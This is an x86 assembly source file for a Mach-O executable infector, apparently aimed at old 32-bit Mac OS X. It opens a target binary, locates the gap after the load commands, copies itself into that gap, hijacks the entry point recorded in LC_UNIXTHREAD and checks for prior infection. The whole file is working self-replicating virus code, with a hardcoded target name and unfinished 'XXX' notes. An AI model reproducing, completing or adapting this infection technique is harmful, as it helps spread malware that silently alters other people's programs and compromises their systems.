.globl _main

#define DATA(x) (x-data)(%ebp)

start:
	pushl $ret	// Overwritten
	pusha
	movl $data,%ebp	// Overwritten
	leal start,%ecx	// ecx = start address, overwritten

	/* Make this part of the text segment writable */
	xorl %eax,%eax
	movl %ecx,%ebx
	andl $~(0x1000-1),%ebx	// XXX correct size
	pushl $7	// prot = PROT_READ | PROT_WRITE | PROT_EXEC
	pushl $0x1000	// len
	pushl %ebx	// addr
	movb $74,%al	// mprotect
	pushl %eax
	int $0x80
	addl $16,%esp
	movl %ecx,DATA(begin)

	/* Open file we want to infect */
	xorl %eax,%eax
	pushl $2	// O_RDWR
	leal DATA(filename),%ecx
	pushl %ecx	// path
	movb $5,%al	// open
	pushl %eax
	int $0x80
	addl $12,%esp
	cmpl $-1,%eax
	je done		// not found?

	movl %eax,%ebx	// ebx = fd
	movl %eax,DATA(fd)

	/* Get the size */
	xorl %eax,%eax
	subl $96,%esp	// sizeof(struct stat)
	pushl %esp	// sb
	pushl %ebx	// fd
	movb $189,%al	// fstat
	pushl %eax
	int $0x80
	movl 60(%esp),%ecx	// ecx = st_size
	movl %ecx,DATA(size)
	addl $108,%esp
	cmpl $0,%eax
	jne done

	/* mmap it */
	xorl %eax,%eax
	pushl %eax	// offset
	pushl %eax	// offset (off_t is 64bit)
	pushl %ebx	// fd
	pushl $1	// flags = MAP_SHARED
	pushl $3	// prot = PROT_READ | PROT_WRITE
	pushl %ecx 	// len
	pushl %eax	// addr
	movb $197,%al	// mmap
	pushl %eax
	int $0x80
	addl $32,%esp
	cmpl $0,%eax
	je done
	movl %eax,DATA(m)

	/* Check if we're interested in it */
	cmpl $0xfeedface,(%eax) // Mach-O?
	jne done
	cmpl $7,4(%eax)		// i386?
	jne done
	cmpl $2,12(%eax)	// MH_EXECUTE?
	jne done

	/* Look for __TEXT segment and LC_UNIXTHREAD */
	movl 16(%eax),%edi	// edi = ncmds
	xorl %esi,%esi
	addl $28,%eax		// First cmd
1:
	cmpl $1,(%eax)		// LC_SEGMENT?
	jne 3f
	leal 8(%eax),%edx	// segname
	pushl %eax
	pushl $16
	leal DATA(TEXT_str),%ecx
	pushl %ecx		// "__TEXT"
	pushl %edx
	calll strncmp		// XXX PIC
	addl $12,%esp
	test %eax,%eax
	popl %eax
	jne 2f
	/* Found __TEXT, record end of gap (start of first section) */
	movl 24(%eax),%ecx	// ecx = vmaddr
	movl %ecx,DATA(text_vmaddr)
	leal 56(%eax),%ecx	// 56 = sizeof(struct segment_command)
	movl 40(%ecx),%ecx
	movl %ecx,DATA(gap_end)
	jmp 2f
3:
	cmpl $5,(%eax)		// LC_UNIXTHREAD?
	jne 2f
	leal 56(%eax),%ebx	// %ebx = address of eip reg in cpu_state
	movl %ebx,DATA(eip_ptr)

2:
	addl 4(%eax),%eax	// eax += cmdsize
	incl %esi
	cmpl %esi,%edi
	jg 1b

	/* Already infected? */
	cmpb $0x68,(%eax)	// 68 00 00 00 00 = pushl $0
	je done

	/* eax is now at end of header and start of gap */
	movl %eax,%edx		// eax = address of start of gap
	movl %eax,DATA(gap_start)
	leal DATA(gap_end),%ecx	// ecx = file offset of gap end
	movl DATA(m),%ebx
	subl %ebx,%edx		// edx = file offset of gap
	movl %ecx,%ebx
	subl %edx,%ebx		// ebx = size of gap

	/* Make sure we can fit */
	leal DATA(__end),%esi
	pushl %ecx
	movl DATA(begin),%ecx
	subl %ecx,%esi	// esi = our size
	popl %ecx
	cmp %esi,%ebx
	jl done			// We don't fit

	/* Write ourselves in the gap */
	xchgl %esi,%ecx
	movl %eax,%edi
	movl DATA(begin),%esi
	cld
	rep movsb

	/* Write original entry point in the first instruction */
	movl DATA(eip_ptr),%ecx
	movl (%ecx),%ebx
	movl %ebx,1(%eax)

	/* Change the actual entry point */
	addl DATA(text_vmaddr),%edx	// edx = new entry point
	movl %edx,(%ecx)
	/* Write start address in 4th instruction (leal $0,%ecx) */
	movl %edx,13(%eax)

	/* Write start of data in third instruction (movl $0,%ebp) */
	movl DATA(begin),%ecx
	leal DATA(data),%ebx
	subl %ecx,%ebx
	addl %ebx,%edx
	movl %edx,7(%eax)

done:
	/* munmap */
	xorl %eax,%eax
	movl DATA(m),%ebx
	testl %ebx,%ebx
	je 1f
	pushl DATA(size)// size
	pushl %ebx	// addr
	movb $73,%al	// munmap
	pushl %eax
	int $0x80
	addl $12,%esp

1:
	/* Close the file */
	xorl %eax,%eax
	movl DATA(fd),%ebx
	testl %ebx,%ebx
	je 1f
	pushl %ebx	// fd
	movb $6,%al	// close
	pushl %eax
	int $0x80
	addl $8,%esp
1:
	popa
	retl

strncmp:
	movl 4(%esp),%eax
	movl 8(%esp),%edx
	movl 12(%esp),%ecx	// n
	pushl %edi
	pushl %esi
	movl %eax,%edi
	movl %edx,%esi
1:
	movb (%edi),%al
	movb (%esi),%bl
	incl %edi
	incl %esi
	cmpb %al,%bl
	jnz 2f
	cmpb $0,%al
	je 4f
	loopnz 1b
4:
	xorl %eax,%eax
	jmp 3f
2:
	movl $1,%eax
3:
	popl %esi
	popl %edi
	retl

data:
filename:
	.asciz "a"
fd:
	.long 0
size:
	.long 0
m:
	.long 0
TEXT_str:
	.asciz "__TEXT"
eip_ptr:
	.long 0
text_vmaddr:
	.long 0
gap_start:
	.long 0
gap_end:
	.long 0
begin:
	.long 0
__end:

_main:
	jmp start
ret:
	leal __end,%eax
	subl $start,%eax
	pushl %eax
	pushl $str
	call printf
	addl $8,%esp
	xorl %eax,%eax
	ret

.data
str:
	.asciz "size 0x%x\n"
printf:
	jmp _printf